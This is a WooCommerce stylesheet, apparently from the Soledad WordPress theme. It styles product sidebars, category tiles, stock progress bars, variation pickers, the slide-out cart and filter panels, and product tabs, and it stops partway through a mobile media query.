.penci-woo-page-container.penci_sidebar.right-sidebar .sidebar-both .penci-single-product-sidebar-wrap,
.penci-woo-page-container.penci_sidebar.right-sidebar .sidebar-bottom .penci-single-product-bottom-container .bottom-content {
	padding-right: 50px;
}
.penci-woo-page-container.penci_sidebar.left-sidebar .sidebar-both .penci-single-product-sidebar-wrap,
.penci-woo-page-container.penci_sidebar.left-sidebar .sidebar-bottom .penci-single-product-bottom-container .bottom-content {
	padding-left: 60px;
}
@media only screen and (max-width: 767px) {
	.penci-woo-page-container.penci_sidebar.left-sidebar .sidebar-both .penci-single-product-sidebar-wrap,
	.penci-woo-page-container.penci_sidebar.left-sidebar .sidebar-bottom .penci-single-product-bottom-container .bottom-content {
		padding-left: 0;
	}
	.penci-woo-page-container.penci_sidebar.right-sidebar .sidebar-both .penci-single-product-sidebar-wrap,
	.penci-woo-page-container.penci_sidebar.right-sidebar .sidebar-bottom .penci-single-product-bottom-container .bottom-content {
		padding-right: 0;
	}
	.penci-woo-page-container.penci_sidebar .sidebar-both .penci-single-product-sidebar-wrap,
	.penci-woo-page-container.penci_sidebar .sidebar-bottom .penci-single-product-bottom-container .bottom-content {
		width: 100%;
	}
}
.penci-woo-page-container.penci_sidebar .sidebar-both #sidebar,
.penci-woo-page-container.penci_sidebar .sidebar-bottom .penci-single-product-bottom-container #sidebar {
	flex: 0 0 auto;
}
.penci-woo-page-container.left-sidebar .sidebar-both,
.penci-woo-page-container.left-sidebar .sidebar-bottom .penci-single-product-bottom-container .container {
	flex-direction: row-reverse;
}
@media only screen and (max-width: 767px) {
	.penci-woo-page-container.penci_sidebar .sidebar-both #sidebar,
	.penci-woo-page-container.penci_sidebar .sidebar-both .penci-single-product-sidebar-wrap,
	.penci-woo-page-container.penci_sidebar .penci-single-product-bottom-container .bottom-content,
	.penci-woo-page-container.penci_sidebar .penci-single-product-bottom-container #sidebar {
		width: 100%;
	}
	.penci-woo-page-container.penci_sidebar .sidebar-both {
		padding-right: 15px;
		padding-left: 15px;
	}
	.penci-woo-page-container.left-sidebar .sidebar-both .penci-sidebar-content > .theiaStickySidebar,
	.penci-woo-page-container.left-sidebar .penci-single-product-bottom-container .theiaStickySidebar {
		padding-right: 0;
		border-right: 0;
	}
	.penci-woo-page-container.right-sidebar .sidebar-both .penci-sidebar-content > .theiaStickySidebar,
	.penci-woo-page-container.right-sidebar .penci-single-product-bottom-container .theiaStickySidebar {
		padding-left: 0;
		border-left: 0;
	}
}
.woocommerce ul.products.product-standard .penci-soledad-product a.button {
	background-color: #f5f5f5;
	color: var(--pctext-cl);
}
.woocommerce ul.products.product-standard .penci-soledad-product a.button:hover {
	background-color: var(--pcaccent-cl);
	color: #fff;
}
/* Rating Position*/
.woocommerce .product.product-style-1 .star-rating,
.woocommerce .product.product-style-3 .star-rating,
.woocommerce .product.product-style-4 .star-rating,
.woocommerce .product.product-style-5 .star-rating,
.woocommerce .product.product-style-6 .star-rating {
	position: relative;
	top: 0;
	right: 0;
	left: 0;
	margin-top: 5px;
	margin-bottom: 5px;
}
.woocommerce .product.product-style-2 .star-rating {
	top: 50px;
	left: 15px;
}
.woocommerce .products.product-style-2 .penci-product-cats,
.woocommerce .products.product-style-2 .woocommerce-loop-product__title {
	padding-right: 80px;
}
.woocommerce ul.products .product.product-style-1 .star-rating,
.woocommerce ul.products .product.product-style-5 .star-rating {
	margin-right: auto;
	margin-left: auto;
}
.penci-woo-page-container.loadmore .woocommerce-pagination,
.penci-woo-page-container.infinit .woocommerce-pagination {
	display: none;
}
.penci-woo-page-container.loadmore .woocommerce-pagination,
.penci-woo-page-container.infinit .page-load-status {
	padding: 15px 0;
	text-align: center;
}
.penci-woo-page-container .page-load-status {
	display: none;
}
.woocommerce nav.woocommerce-pagination {
	text-align: center;
}
.woocommerce nav.woocommerce-pagination ul li {
	float: none;
	margin-bottom: 10px;
}
.penci-woo-page-container .page-load-button {
	text-align: center;
}
.penci-woo-page-container .page-load-button a {
	color: rgb(153, 153, 153);
}
.penci-woo-page-container .page-load-button .button.loading,
.penci-woo-page-container .page-load-button .button {
	min-width: 183px;
	/*padding: 16px 20px 14px;*/
	transform: none;
	color: rgb(153, 153, 153);
}
.penci-woo-page-container .page-load-button .button.loading:hover,
.penci-woo-page-container .page-load-button .button:hover {
	color: var(--pcaccent-cl);
	border-color: var(--pcaccent-cl);
	background-color: transparent;
}
.penci-woo-page-container .page-load-button .button.loading {
	cursor: not-allowed;
	pointer-events: none;
	color: transparent;
}
.product.penci-product-thumbnail-left .product-labels .product-label {
	left: 120px;
}
/* Product Categories */
.products .penci-product-cat-loop {
	position: relative;
	overflow: hidden;
	height: 100%;
	border: 1px solid var(--pcborder-cl);
}
.woocommerce ul.products li.product-category .woocommerce-loop-category__title {
	margin-bottom: 0;
}
.woocommerce ul.products li.product-category .product-category-img:before {
	position: absolute;
	z-index: 1;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	content: '';
	background: var(--pcl_l_cat_o_cl);
	background: var(--pcl_l_cat_o_cl_rgba);
}
.woocommerce ul.products li.product-category a img {
	margin: 0;
	transition: -webkit-transform 2s cubic-bezier(0, 0, 0.44, 1.18);
	transition: transform 2s cubic-bezier(0, 0, 0.44, 1.18);
	transition: transform 2s cubic-bezier(0, 0, 0.44, 1.18), -webkit-transform 2s cubic-bezier(0, 0, 0.44, 1.18);
}
.woocommerce ul.products li.product-category:hover a img {
	-webkit-transform: scale(1.23);
	transform: scale(1.23);
}
.woocommerce ul.products li.product-category .woocommerce-loop-category__wrapper {
	position: absolute;
	z-index: 9;
	bottom: 0;
	left: 0;
	width: 100%;
	padding: 15px;
	transition: transform .3s ease;
	transform: translateY(calc(15px)) translateZ(0);
}
.woocommerce ul.products li.product-category:hover .woocommerce-loop-category__wrapper {
	transform: translateY(0) translateZ(0);
}
.woocommerce ul.products li.product .woocommerce-loop-category__title {
	font-size: var(--pcl_l_cat_tt_fs);
	padding: 0;
	color: var(--pcl_l_cat_tt_cl);
}
.woocommerce ul.products li.product-category .count {
	display: block;
	transition: transform .3s ease, opacity .3s ease;
	transform: translateY(15px) translateZ(0);
	opacity: 0;
	color: var(--pcl_l_cat_cl);
	font-size: var(--pcl_l_cat_fs);
}
.woocommerce ul.products li.product-category:hover .count {
	transform: translateY(0) translateZ(0);
	opacity: 1;
}
.woocommerce ul.products li.product-category.penci-product-cat-style-2 {
	border: 0;
}
.woocommerce ul.products li.product-category.penci-product-cat-style-2 .woocommerce-loop-category__wrapper {
	top: 50%;
	bottom: 50%;
	transform: translateY(-25px) translateZ(0);
	text-align: center;
}
.woocommerce ul.products li.product-category.penci-product-cat-style-2:hover .woocommerce-loop-category__wrapper {
	transform: translateY(0) translateZ(0);
}
.woocommerce ul.products li.product-category.penci-product-cat-style-2 .count {
	transform: translateY(80px) translateZ(0);
}
.woocommerce ul.products li.product-category.penci-product-cat-style-2:hover .count {
	transform: translateY(0px) translateZ(0);
}
.woocommerce ul.products li.product-category.penci-product-cat-style-3 .woocommerce-loop-category__wrapper {
	text-align: center;
}
.woocommerce ul.products li.product-category.penci-product-cat-style-4 .woocommerce-loop-category__wrapper,
.woocommerce ul.products li.product-category.penci-product-cat-style-5 .woocommerce-loop-category__wrapper {
	position: relative;
}
.woocommerce ul.products li.product-category.penci-product-cat-style-4 .product-category-img,
.woocommerce ul.products li.product-category.penci-product-cat-style-5 .product-category-img {
	overflow: hidden;
}
.woocommerce ul.products li.product-category.penci-product-cat-style-5 .product-category-img {
	border-radius: 50%;
}
.woocommerce ul.products li.product-category.penci-product-cat-style-4 .count,
.woocommerce ul.products li.product-category.penci-product-cat-style-4 .woocommerce-loop-category__title,
.woocommerce ul.products li.product-category.penci-product-cat-style-4 .woocommerce-loop-category__wrapper,
.woocommerce ul.products li.product-category.penci-product-cat-style-5 .count,
.woocommerce ul.products li.product-category.penci-product-cat-style-5 .woocommerce-loop-category__title,
.woocommerce ul.products li.product-category.penci-product-cat-style-5 .woocommerce-loop-category__wrapper {
	transform: translateY(0px) translateZ(0);
	opacity: 1;
}
.woocommerce ul.products li.product-category.penci-product-cat-style-4 .penci-product-cat-loop,
.woocommerce ul.products li.product-category.penci-product-cat-style-5 .penci-product-cat-loop {
	border: 0;
}
.woocommerce ul.products li.product-category.penci-product-cat-style-5 .woocommerce-loop-category__wrapper {
	text-align: center;
}
/* Progress Bar */
.penci-stock-progress-bar .stock-info {
	display: flex;
	flex-direction: row;
	flex-wrap: wrap;
	justify-content: space-between;
	margin-bottom: 5px;
	color: var(--pcmeta-cl);
}
.penci-stock-progress-bar .stock-info span {
	font-weight: 600;
	margin-left: 3px;
	color: var(--pcheading-cl);
}
.penci-stock-progress-bar .progress-area,
.penci-stock-progress-bar .progress-bar {
	height: var(--pccat_progress_height);
}
.penci-stock-progress-bar .progress-area {
	width: 100%;
	background-color: var(--pccat_progress_bg_cl);
}
.penci-stock-progress-bar .progress-bar {
	background-color: var(--pccat_progress_active_bg_cl);
}
.summary.entry-summary .penci-stock-progress-bar {
	margin: 15px 0;
}
.woocommerce div.product form.cart .reset_variations,
.variations_form a.reset_variations {
	font-size: inherit;
	position: static;
	display: inline-block;
	margin: 5px 0 0;
	vertical-align: middle;
	color: var(--pcheading-cl);
}
.woocommerce div.product form.cart .penci-swatches + .reset_variations,
.woocommerce div.product form.cart .jquery-grid-picker-widget + .reset_variations {
	margin: 0 0 5px 10px;
}
.variations_form a.reset_variations:before {
	font-family: penciicon;
	font-size: 10px;
	display: inline-block;
	margin-right: 5px;
	content: '\f110';
}
@media only screen and (max-width: 767px) {
	.variations_form a.reset_variations {
		position: absolute;
		top: 0;
		right: 0;
	}
}
.variations_form ul.jquery-grid-picker-widget {
	display: inline-block;
	margin: 0 -2.5px;
	padding: 0;
	list-style: none;
}
.variations_form ul.jquery-grid-picker-widget li.jquery-grid-picker-item {
	display: inline-block;
	padding: 0 2.5px;
}
.variations_form ul.jquery-grid-picker-widget li.jquery-grid-picker-item[data-jquery-grid-picker-value=""] {
	display: none;
}
.variations_form ul.jquery-grid-picker-widget li.jquery-grid-picker-item a {
	padding: 3px 10px;
	color: var(--pctext-cl);
	border: 1px solid var(--pcpage_btns_bdr_cl);
	border-radius: 2px;
	transition: all 0.3s ease-in-out;
}
.variations_form ul.jquery-grid-picker-widget li.jquery-grid-picker-item a:hover {
	color: #fff;
	border-color: var(--pcpage_btns_bdr_hv_cl);
	background-color: var(--pcpage_btns_bg_hv_cl);
}
.variations_form ul.jquery-grid-picker-widget li.jquery-grid-picker-item-selected a,
.variations_form ul.jquery-grid-picker-widget li.jquery-grid-picker-item-selected a:hover {
	color: #fff;
	border-color: var(--pcaccent-cl);
	background-color: var(--pcaccent-cl);
}
.woocommerce div.product form.cart .variations select.jquery-grid-picker,
.variations_form select.jquery-grid-picker {
	display: none;
}
.woocommerce .cart-empty.woocommerce-info,
.woocommerce .return-to-shop {
	flex: 0 0 100%;
}
.woocommerce .return-to-shop {
	text-align: center;
	margin-top: 25px;
}
.woocommerce .woocommerce-error:before,
.woocommerce .woocommerce-info:before,
.woocommerce .woocommerce-message:before {
	margin-top: 0;
}
.products-view-grid_list .shop-view.per-row-list {
	order: 1
}
.penci-sidebar-filter,
.penci-sidebar-cart {
	position: fixed;
	z-index: 99999999;
	top: 0;
	visibility: hidden;
	width: 320px;
	height: 100vh;
	-webkit-transition: all 0.5s;
	transition: all 0.5s;
	opacity: 0;
	background-color: var(--pcbg-cl);
}
.penci-sidebar-filter .penci-sidebar-content {
	float: none;
	width: 100%;
	padding: 40px 20px;
	height: calc(100% - 80px);
	overflow-y: auto;
}
.penci-sidebar-filter .penci-sidebar-content .widget:last-child {
	margin-bottom: 0;
}
.penci-sidebar-filter.overlay,
.penci-sidebar-filter.side-right,
.penci-sidebar-cart.side-right {
	right: 0;
	-moz-transform: translateX(320px);
	-webkit-transform: translateX(320px);
	transform: translateX(320px);
}
.penci-sidebar-filter.side-left,
.penci-sidebar-cart.side-left {
	left: 0;
	-moz-transform: translateX(-320px);
	-webkit-transform: translateX(-320px);
	transform: translateX(-320px);
}
.woocommerce-no-js .penci-sidebar-filter.side-right,
.woocommerce-no-js .penci-sidebar-cart.side-right,
.woocommerce-no-js .penci-sidebar-filter.side-left,
.woocommerce-no-js .penci-sidebar-cart.side-left {
	-webkit-transition: unset;
	transition: unset;
	-moz-transform: translateX(0);
	-webkit-transform: translateX(0);
	transform: translateX(0);
}
.penci-sidebar-filter .notice {
	padding: 10px;
}
body.penci-side-right-filter-active .penci-sidebar-filter,
body.penci-side-left-filter-active .penci-sidebar-filter,
body.open-filter-side .penci-sidebar-filter,
body.open-sidecart .penci-sidebar-cart {
	visibility: visible;
	-moz-transform: translateX(0);
	-webkit-transform: translateX(0);
	transform: translateX(0);
	opacity: 1;
}
.penci-sidebar-filter .sidefilter-heading,
.penci-sidebar-cart .sidecart-heading {
	display: flex;
	align-items: center;
	justify-content: space-between;
	padding: 0 20px;
	border-bottom: 1px solid var(--pcborder-cl);
	background-color: var(--pcbg-cl);
	height: 80px;
}
.penci-sidebar-filter .sidefilter-heading h3,
.penci-sidebar-cart .sidecart-heading h3 {
	font-size: 22px;
	display: inline-block;
	text-transform: uppercase;
}
.penci-sidebar-filter .sidefilter-heading .close,
.penci-sidebar-cart .sidecart-heading .close {
	font-size: 0;
	display: inline-block;
	float: right;
	height: 27px;
	cursor: pointer;
	text-align: center;
}
.penci-sidebar-filter .sidefilter-heading .close i,
.penci-sidebar-cart .sidecart-heading .close i {
	font-size: 14px;
	line-height: 27px;
	display: inline-block;
	margin-right: 5px;
	color: var(--pcheading-cl);
	transition: all 0.3s;
}
.penci-sidebar-filter .sidefilter-heading .close:hover i,
.penci-sidebar-cart .sidecart-heading .close:hover i {
	transform: rotate(90deg);
}
.penci-sidebar-cart .sidecart-content ul {
	overflow: hidden;
	overflow-y: auto;
	width: 100%;
	height: calc(100vh - 290px);
	padding: 0;
	border-bottom: 0;
}
.penci-sidebar-cart .sidecart-content ul li {
	position: relative;
	margin: 0;
	padding: 15px 40px 15px 15px;
	transition: all 0.3s ease-in-out;
}
.penci-sidebar-cart .sidecart-content ul li .penci-loading-icon {
	position: absolute;
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
	display: flex;
	visibility: hidden;
	align-items: center;
	justify-content: center;
	width: 100%;
	transition: all 0.3s ease-in-out;
	text-align: center;
	opacity: 0;
	background-color: rgba(255, 255, 255, .75);
}
.penci-sidebar-cart .sidecart-content ul li.loading .penci-loading-icon {
	visibility: visible;
	opacity: 1;
}
.penci-sidebar-cart .sidecart-content ul li .penci-loading-icon .bubble:after {
	background-color: black;
}
.penci-sidebar-cart .sidecart-content ul li a {
	transition: all 0.3s ease-in-out;
}
.penci-sidebar-cart .sidecart-content ul li:hover a {
	opacity: 0.8;
}
.penci-sidebar-cart .sidecart-content ul li img {
	width: 60px;
}
body .penci-sidebar-cart .sidecart-content ul li a.remove {
	position: absolute;
	top: 10px;
	right: 30px;
	transition: opacity 0.3s ease-in-out;
	opacity: .8;
	color: var(--pcheading-cl) !important;
	background-color: transparent;
}
body .penci-sidebar-cart .sidecart-content ul li a.remove:hover {
	opacity: 1;
}
.sidebar-filter-close,
.penci-sidebar-cart-close {
	position: fixed;
	z-index: 9999;
	top: 0;
	left: 0;
	visibility: hidden;
	width: 100%;
	height: 100%;
	cursor: pointer;
	text-indent: -999999px;
	opacity: 0;
	background-color: rgba(55, 55, 55, .75);
}
body.open-filter-side,
body.open-sidecart {
	overflow: hidden;
}
body.open-filter-side .sidebar-filter-close,
body.penci-side-right-filter-active .sidebar-filter-close,
body.penci-left-right-filter-active .sidebar-filter-close,
body.open-sidecart .penci-sidebar-cart-close {
	visibility: visible;
	opacity: 1;
}
@media only screen and (max-width: 767px) {
	body.penci-side-left-filter-active .sidebar-filter-close,
	body.penci-side-right-filter-active .sidebar-filter-close {
		visibility: visible;
		opacity: 1;
	}
}
.penci-sidebar-cart .penci-woo-cart-buttons-group,
.penci-sidebar-cart .penci-woo-cart-total-group {
	position: absolute;
	bottom: 0;
	left: 0;
	width: 100%;
	padding: 15px 20px;
	background-color: var(--pcbg-cl);
}
.penci-sidebar-cart .penci-woo-cart-buttons-group {
	min-height: 120px;
	padding: 0 20px 20px;
}
.penci-sidebar-cart .penci-woo-cart-buttons-group p {
	margin-bottom: 5px;
	font-size: 12px;
	font-weight: var(--pchead-wei);
}
.penci-sidebar-cart .penci-woo-cart-buttons-group p .amount {
	float: right;
}
.penci-sidebar-cart .woocommerce-mini-cart__buttons.buttons .button {
	display: block;
	text-align: center;
	color: var(--pcbg-cl);
	background-color: black;
}
.penci-sidebar-cart .woocommerce-mini-cart__buttons.buttons .button + .button {
	margin-top: 15px;
	background-color: var(--pcaccent-cl);
}
.penci-sidebar-cart .penci-woo-cart-total-group {
	font-size: 16px;
	bottom: 130px;
	text-transform: uppercase;
	border-top: 3px solid #dedede;
}
.penci-sidebar-cart .woocommerce-mini-cart__total.total .amount {
	font-weight: bold;
	float: right;
	color: var(--pcaccent-cl);
}
.penci-sidebar-cart .woocommerce-mini-cart__empty-message {
	font-weight: bold;
	font-size: 16px;
	padding: 15px;
	text-align: center;
}
.penci-sidebar-cart .woocommerce-mini-cart__empty-message:before {
	font-family: 'penciicon', serif;
	font-size: 48px;
	line-height: 48px;
	font-weight: 300;
	display: block;
	content: '\f16c';
	color: var(--pctext-cl);
	opacity: 0.15;
	padding: 15px 0;
}
.woocommerce .penci-sidebar-cart ul.cart_list li img,
.woocommerce .penci-sidebar-cart ul.product_list_widget li img {
	width: 60px;
}
.woocommerce-content-wrapper {
	width: 100%;
}
.penci-empty-compare,
.penci-empty-page-text,
.penci-compare-products-empty-text,
.penci-wishlist-products-empty-text {
	text-align: center;
}
.penci-empty-compare h3 {
	font-size: 18px;
	font-weight: bold;
}
.penci-empty-page.penci-empty-cart:before,
.penci-compare-products-empty-text:before,
.penci-empty-compare.penci-empty-page:before,
.penci-wishlist-products-empty-text:before {
	font-family: 'FontAwesome', serif;
	font-size: 128px;
	font-weight: 300;
	line-height: 1;
	display: block;
	margin-bottom: 17px;
	content: '\f08a';
	color: var(--pctext-cl);
	opacity: 0.15;
}
.penci-compare-products-empty-text:before,
.penci-empty-compare.penci-empty-page:before {
	content: '\f16b';
	font-family: 'penciicon', serif;
}
.penci-empty-page.penci-empty-cart:before {
	content: '\f16c';
	font-family: 'penciicon', serif;
}
.post-entry .woocommerce .penci-wishlist-products-empty-text,
.woocommerce .penci-wishlist-products-empty-text {
	margin-bottom: 30px;
	font-size: 110%;
}
.post-entry .woocommerce .penci-compare-empty-title,
.woocommerce .penci-compare-empty-title,
.post-entry .woocommerce .penci-wishlist-empty-title,
.woocommerce .penci-wishlist-empty-title {
	font-size: 48px;
	line-height: 1.2;
}
@media only screen and (max-width: 767px) {
	.post-entry .woocommerce .penci-compare-empty-title,
	.woocommerce .penci-compare-empty-title,
	.post-entry .woocommerce .penci-wishlist-empty-title,
	.woocommerce .penci-wishlist-empty-title {
		font-size: 28px;
	}
}
.sidebar-filter-container {
	position: absolute;
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
	width: 100%;
	max-height: 100%;
	box-shadow: 0 0 1px var(--pctext-cl);
}
.sidebar-filter-container .sidebar-filter-footer-buttons {
	position: absolute;
	right: 0;
	bottom: 10px;
	left: 0;
	padding: 0 10px;
}
.woocommerce .sidebar-filter-container button.close-sidebar {
	display: block;
	width: 100%;
	padding: 0 10px;
	color: var(--pcbg-cl);
	background-color: var(--pcheading-cl);
}
/* Top Product Filter */
.penci-top-product-filter {
	display: flex;
	overflow: hidden;
	flex-wrap: wrap;
	max-height: 0;
	margin-right: -15px;
	margin-left: -15px;
	transition: max-height 1s ease-in-out;
}
.penci-top-filter-active .penci-top-product-filter {
	max-height: 990px;
}
.penci-top-product-filter > * {
	flex-shrink: 0;
	box-sizing: border-box;
	width: 100%;
	max-width: 100%;
	padding-right: 15px;
	padding-left: 15px;
}
.penci-top-product-filter .widget {
	flex: 0 0 auto;
	width: 20%;
}
.penci-container-inside.penci-breadcrumb.penci-woo-breadcrumb i,
.container.penci-breadcrumb.penci-woo-breadcrumb i {
	margin: 0 10px;
}
@media only screen and (max-width: 767px) {
	.penci-top-product-filter .widget {
		width: 100%;
	}
	.penci-top-product-filter .widget + .widget {
		margin-top: 30px;
	}
}
.penci-top-product-filter .widget .widget-title {
	margin-bottom: 30px;
}
.penci-product-top-filter-button {
	display: flex;
	align-items: center;
	margin-left: 10px;
}
.penci-product-top-filter-button a {
	display: flex;
	height: 20px;
	color: var(--pctext-cl);
	opacity: 0.9;
}
.penci-product-top-filter-button svg {
	fill: var(--pctext-cl);
}
.penci-product-top-filter-button a.close {
	opacity: 0.6;
}
.penci-product-top-filter-button a i {
	width: 20px;
	height: 20px;
}
.penci-product-top-filter-button a span {
	margin-left: 5px;
}
/* Product Tabs */
.penci-products-tabs .products-tabs-title {
	font-weight: bold;
	margin-right: -15px;
	margin-bottom: 0;
	margin-left: -15px;
	list-style: none;
	padding: 0;
	color: #000;
	--li-pl: 0;
	--list-mb: 0;
	--li-mb: 0;
}
.penci-products-tabs .products-tabs-title li {
	margin-bottom: 0;
}
.penci-products-tabs.tabs-design-default .products-tabs-title .tab-label,
.penci-products-tabs.tabs-design-alt .products-tabs-title .tab-label {
	line-height: 1.2;
	position: relative;
	display: inline-block;
	padding-top: 1px;
	padding-bottom: 1px
}
.penci-products-tabs.tabs-design-default .products-tabs-title .tab-label:after,
.penci-products-tabs.tabs-design-alt .products-tabs-title .tab-label:after {
	position: absolute;
	top: 100%;
	left: 50%;
	width: 0;
	height: 2px;
	content: '';
	transition: all 0.4s cubic-bezier(0.18, 0.89, 0.45, 1.32);
	background-color: var(--pcaccent-cl);
}
.penci-products-tabs.tabs-design-default .products-tabs-title li:hover .tab-label:after,
.penci-products-tabs.tabs-design-default .products-tabs-title li.active-tab-title .tab-label:after,
.penci-products-tabs.tabs-design-alt .products-tabs-title li:hover .tab-label:after,
.penci-products-tabs.tabs-design-alt .products-tabs-title li.active-tab-title .tab-label:after {
	left: 0;
	width: 100%;
}
.penci-products-tabs .tabs-navigation-wrapper {
	position: relative
}
.penci-products-tabs .penci-tabs-header {
	position: relative
}
.penci-products-tabs .penci-tabs-header.text-right {
	text-align: right;
}
.penci-products-tabs .open-title-menu {
	display: none
}
.penci-products-tabs .tabs-name {
	font-size: 22px;
	text-transform: uppercase;
}
.penci-products-tabs .tabs-name > span {
	vertical-align: middle
}
.penci-products-tabs .tabs-name .img-wrapper {
	margin-right: 10px
}
.penci-products-tabs .img-wrapper {
	display: inline-block
}
.penci-products-tabs .products-tabs-title li {
	font-size: 16px;
	font-weight: inherit;
	line-height: 1.4;
	display: inline-flex;
	align-items: center;
	flex-direction: column;
	padding: 10px 15px;
	cursor: pointer;
	transition: opacity .25s ease,
	color .25s ease;
	vertical-align: bottom;
	text-transform: uppercase;
	opacity: .7;
	color: inherit;
}
.penci-products-tabs .products-tabs-title li:hover,
.penci-products-tabs .products-tabs-title li.active-tab-title {
	opacity: 1
}
.penci-products-tabs .products-tabs-title .tab-label {
	position: relative;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
}
.penci-products-tabs .penci-tab-content {
	visibility: visible;
	transition: transform .25s ease,
	opacity .25s ease,
	visibility 0s ease;
	transform: none;
	opacity: 1;
}
.penci-products-tabs .penci-tab-content.loading {
	visibility: hidden;
	transition: transform .25s ease,
	opacity .25s ease,
	visibility 0s ease .3s;
	transform: translateY(30px);
	pointer-events: none;
	opacity: 0;
}
.penci-products-tabs.tabs-design-default .penci-tab-content.loading .wrap-loading-arrow,
.penci-products-tabs.tabs-design-alt .penci-tab-content.loading .wrap-loading-arrow {
	display: none
}
.penci-products-tabs.tabs-design-default .penci-tabs-header {
	margin-bottom: 15px
}
.penci-products-tabs.tabs-design-default .tabs-name {
	margin-bottom: 10px
}
.penci-products-tabs.tabs-design-default .products-tabs-title .img-wrapper {
	margin-bottom: 10px;
	display: inline-block;
}
.penci-products-tabs .products-tabs-title .img-wrapper img {
	max-height: 30px;
	width: auto;
}
.penci-products-tabs.tabs-design-alt .penci-tabs-header {
	display: flex;
	align-items: center;
	flex-direction: row;
	flex-wrap: wrap;
	justify-content: space-between;
	margin-bottom: 10px
}
.penci-products-tabs.tabs-design-alt .tabs-name,
.penci-products-tabs.tabs-design-alt .tabs-navigation-wrapper {
	margin-bottom: 10px
}
.penci-products-tabs.tabs-design-alt .products-tabs-title li {
	align-items: center;
	flex-direction: row;
	vertical-align: middle
}
.penci-products-tabs.tabs-design-alt .products-tabs-title .img-wrapper {
	margin-right: 10px
}
.penci-products-tabs.tabs-design-simple .penci-tabs-header {
	display: flex;
	align-items: flex-end;
	flex-direction: row;
	margin-bottom: 20px;
	border-bottom: 2px solid #EAEAEA
}
.penci-products-tabs.tabs-design-simple .tabs-name {
	position: relative;
	z-index: 1;
	margin-right: 25px;
	margin-bottom: -2px;
	padding-top: 5px;
	padding-bottom: 5px;
	vertical-align: middle;
	border-bottom: 2px solid var(--pcaccent-cl);
}
.penci-products-tabs.tabs-design-simple .tabs-name > span {
	vertical-align: bottom
}
.penci-products-tabs.tabs-design-simple .tabs-name .img-wrapper {
	margin-left: 4px
}
.penci-products-tabs.tabs-design-simple .products-tabs-title li {
	font-size: 14px;
	align-items: flex-end;
	flex-direction: row;
}
.penci-products-tabs.tabs-design-simple .products-tabs-title li.active-tab-title {
	color: var(--pcaccent-cl)
}
.penci-products-tabs.tabs-design-simple .products-tabs-title .img-wrapper {
	margin-right: 10px
}
.penci-products-tabs.tabs-design-simple .penci-owl-nav,
.penci-products-tabs.tabs-design-simple .wrap-loading-arrow {
	position: absolute;
	top: -62px;
	animation: ease-in-out .5s ease both .3s
}
.penci-products-tabs.tabs-design-simple .penci-owl-nav > div,
.penci-products-tabs.tabs-design-simple .wrap-loading-arrow > div {
	position: static;
	visibility: visible;
	width: 30px;
	height: 40px;
	margin-top: 0;
	transform: none;
	pointer-events: visible;
	opacity: 1;
}
.penci-products-tabs.tabs-design-simple .penci-owl-nav > div:after,
.penci-products-tabs.tabs-design-simple .wrap-loading-arrow > div:after {
	font-size: 14px;
	font-weight: 700;
}
.penci-products-tabs.tabs-design-simple .penci-owl-nav > div[class*="prev"],
.penci-products-tabs.tabs-design-simple .penci-owl-nav > div[class*="next"],
.penci-products-tabs.tabs-design-simple .wrap-loading-arrow > div[class*="prev"],
.penci-products-tabs.tabs-design-simple .wrap-loading-arrow > div[class*="next"] {
	margin: 0;
	padding: 0
}
.penci-products-tabs.tabs-design-simple .wrap-loading-arrow {
	right: -10px
}
.penci-products-tabs.tabs-design-simple .penci-owl-nav {
	right: 0
}
.penci-products-tabs.tabs-design-simple .penci-carousel-spacing-30 .penci-owl-nav {
	right: 5px
}
.penci-products-tabs.tabs-design-simple .penci-owl-loaded:after,
.penci-products-tabs.tabs-design-simple .penci-owl-loaded:before {
	content: none
}
.penci-products-tabs.tabs-design-simple .penci-products-loader .penci-loader {
	position: absolute;
	top: 30px
}
.penci-products-tabs.tabs-design-simple .penci-tab-content.loading .penci-owl-nav,
.penci-products-tabs.tabs-design-simple .penci-tab-content.loading .wrap-loading-arrow {
	display: none
}
.penci-products-tabs .penci-tab-content-container {
	position: relative;
}
.penci-products-tabs .penci-tab-content-container .penci-custom-products,
.penci-products-tabs .penci-tab-content-container .penci-custom-products .penci-products-preloader {
	display: none;
}
.penci-products-tabs .penci-tab-content-container .penci-custom-products.active {
	display: block;
}
.penci-products-tabs .penci-tab-content-container .penci-products-preloader {
	padding: 30px 0;
}
.elementor-widget-penci_products_tabs .penci-products-preloader,
.penci-products-tabs .penci-tab-content-container .penci-products-preloader {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	z-index: 999;
	display: flex;
	justify-content: center;
	visibility: hidden;
}
.elementor-widget-penci_products_tabs .elementor-widget-container.pre-load-content .penci-products-preloader,
.penci-products-tabs .penci-tab-content-container.pre-load-content .penci-products-preloader {
	visibility: visible;
}
body #main .elementor-widget-penci_products_tabs .elementor-widget-container.pre-load-content ul.products,
body #main .penci-products-tabs .penci-tab-content-container.pre-load-content ul.products {
	opacity: 0.5;
	pointer-events: none;
}
.elementor-element.loading .penci-tab-content .penci-products-loader {
	display: none !important;
	padding: 30px 0;
}
.penci-tabs-loader {
	position: absolute;
	top: 100%;
	right: 0;
	left: 0;
	visibility: hidden;
	margin-top: 50px;
	text-align: center;
	pointer-events: none;
	opacity: 0;
}
.browser-Safari .penci-tabs-loader {
	visibility: visible
}
.loading .penci-tabs-loader {
	visibility: visible;
	transition: opacity .3s ease,
	visibility .3s ease;
	opacity: 1;
}
.loading .penci-tabs-loader .penci-loader:after {
	animation: pencirotate 450ms infinite linear
}
@media only screen and (max-width: 1169px) {
	.penci-products-tabs.tabs-design-simple .penci-owl-nav > div,
	.penci-products-tabs.tabs-design-simple .wrap-loading-arrow > div {
		justify-content: center
	}
}
@media only screen and (max-width: 767px) {
	.woocommerce.penci-products-tabs {
		overflow: hidden;
	}
	.penci-products-tabs .tabs-name .svg-icon {
		width: 25px !important;
		height: 25px !important
	}
	.penci-products-tabs .tabs-name .img-wrapper img {
		width: auto;
		max-height: 25px;
	}
	.penci-products-tabs .tabs-navigation-wrapper .svg-icon {
		width: 25px !important;
		height: 25px !important
	}
	.penci-products-tabs .tabs-navigation-wrapper .img-wrapper img {
		width: auto;
		max-height: 25px;
	}
	.penci-products-tabs .products-tabs-title {
		margin: 0 0 20px;
	}
	.penci-products-tabs .products-tabs-title::-webkit-scrollbar {
		display: none
	}
	.penci-products-tabs .products-tabs-title li {
		font-size: 14px;
		padding: 7px 10px;
	}
